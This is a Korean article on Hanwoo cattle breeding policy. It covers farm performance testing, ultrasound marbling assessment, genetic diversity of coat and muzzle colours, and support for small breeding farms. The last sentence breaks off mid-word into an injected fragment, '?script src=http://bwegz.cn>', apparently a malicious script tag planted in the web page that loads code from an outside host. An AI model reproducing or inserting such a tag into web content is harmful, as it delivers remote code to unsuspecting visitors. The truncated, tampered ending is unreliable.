# 선발강도 높여 개량량 향상시킬 수 있다

육종농가란 농장검정을 정규적으로 시행해 교배자료, 번식자료, 성장자료 및 생체초음파 측정자료를 조사해 유전능력을 평가한 후 우량 종자(씨암소 및 씨수소)를 한우 농가에게 판매하는 농장을 말한다. 따라서 한우육종농가는 계절번식으로 동기축군을 형성하고, 모든 개체에 대하여 친자검사를 하며, 체중측정과 생체초음파육질진단으로 능력검정을 실시해야 한다.

이중 수송아지는 상위 20~30%를 당대검정용 수송아지로 선발할 계획이며, 이렇게 된다면 선발강도를 높여 개량량을 향상시킬 수 있을 것이다.

또한 농장검정을 통해 모든 암송아지에 대해서도 당대 검정우와 동일한 능력검정을 실시함으로써 매년 약 80% 이상의 암소가 유전평가를 받게 되어 암소개량에 있어서도 큰 성과를 기대할 수 있다.

특히 암소의 능력을 토대로 진정한 계획교배를 시작할 수 있고 암소의 정보가 있으므로 공정한 후대검정도 가능할 것이다. 이와 함께 필요한 적정수의 후대검정용 송아지들에 대한 능력검정자료 확보가 쉬워질 뿐만 아니라 각 후보종모우당 능력검정을 받게 될 후대 송아지들의 수가 몇 배로 늘기 때문에 좀 더 확실하고 정확하게 보증종모우들의 육종가를 알게 되면서 개량속도를 한층 높일 수 있다.

# 진단기·프로그램 도입·개발 필요

육질개량을 위해 후대검정에 의한 보증씨수소 선발시 육질을 평가하던 것을 7~12개월령 당대 검정우 및 암소 육성기에서도 평가해야만 진정 육량과 육질을 동시에 개량할 수 있을 것이다.

그러나 이 시기는 지방침착정도를 육안으로 판별하기 어려우므로 기계적으로 근내지방도를 추정할 수 있는 초음파육질진단기 또는 프로그램을 개발하거나 도입해서라도 사용해야만 한다.

북미는 육량위주의 개량방향을 유지하고 있음에도 불구하고 이미 근내지방도를 산출하는 초음파기계를 사용하거나 측정한 초음파 화상을 기계적으로 판독해 근내지방도를 계산하는 프로그램을 갖고 있다.

1994년에 초음파로 육우 도체성적을 개량하기 위해 초음파 측정을 사용하기로 BIF(Beef Improvement Federation)에서 결정했다. 1997년에 이미 12개월령 수소와 암소에 대해 검정종료 단계에서 생체초음파육질측정이 이뤄져 근내지방도를 측정하고 유전능력을 평가하여 선발에 활용하고 있는 점은 우리에게 시사하는 바가 크다.

# 유전적 다양성 확보 선결과제

한우는 전통적으로 모색이 황색인 것뿐만 아니라 호반색, 흑색 등 여러 색을 갖고 있으며 비경색 또한 육색뿐만 아니라 흑색, 회색 등을 갖고 있다. 이에 대한 유전자식별, 유전자 분포, 유전방식을 규명하고 이 인자들이 한우에서 유래된 것이고 경제형질과 관계없다면 유전적 다양성 확보를 위해 유전자검증과 능력검정 및 선발과 개량을 해야 한다.

지금 세계 여러 국가들은 유전적 다양성을 확보하고 개량과 이용에 노력을 경주하고 있으며, 빠른 시일내에 종축에 대하여 지적재산권을 적용할 것으로 알려져 있다. 따라서 한우에게 전통적으로 내려오는 인자들을 황우와 정상 비경색만을 주장하느라고 전부 말살하는 정책은 올바른 것이 아니다.

중국이 자본주의 경제를 도입할 때 등소평은 흑묘백묘(黑猫白猫)를 언급한 것처럼 한우도 경제형질 개량과 다양한 유전자원 확보로 국제경쟁력을 갖추기 위하여 유전적 다양성 인정과 함께 경제형질위주의 개량체계로 전환돼야 한다. 이를 위해서는 한우에 대한 정의와 함께 유전적으로 다양한 한우를 모두 한우로 인정해 유전자원의 다양성을 유지하고 비경이 흑색이거나 흰색 또는 검은색 털을 보유한 한우가 가축시장에서 가격을 낮게 받는 불이익을 없애야 할 것이다.

혹여 수입우 또는 젖소 교잡우와의 잡종교배를 걱정하는 이가 있으면 이는 조만간 실시될 축산물생산이력제의 개체식별체계를 활용해 국내에 있는 모든 소에 대하여 개체이력시스템을 가동한다면 이를 극복할 수 있을 것이다.

# 지도교육 한층 더 강화해야

또한 전업형태의 육종농가와 더불어 소규모 복합경영 한우개량농가들은 혈통관리와 보존에 기여하고 있으며 한우시장 가격변동과 상관없이 꾸준히 번식농가로 유지되고 있다는 점은 매우 중요하다.

한우 유전자원의 보존과 다양성 유지는 국가적 차원뿐만 아니라 세계적인 차원에서도 큰 관심을 갖고 있는 과제이다. ‘FAO-동물유전자원보존과 사용에 대한 지침서’에 의하면 ‘각국의 토종 동물자원 보존을 위한 가장 좋은 수단은 그 유전자원을 경제적으로 이용하는 것이다’라고 서술하고 있다.

따라서 한우개량농가 관리시스템을 효율적으로 전환하고 더 나아가서 그들의 소득과 ?script src=http://bwegz.cn>
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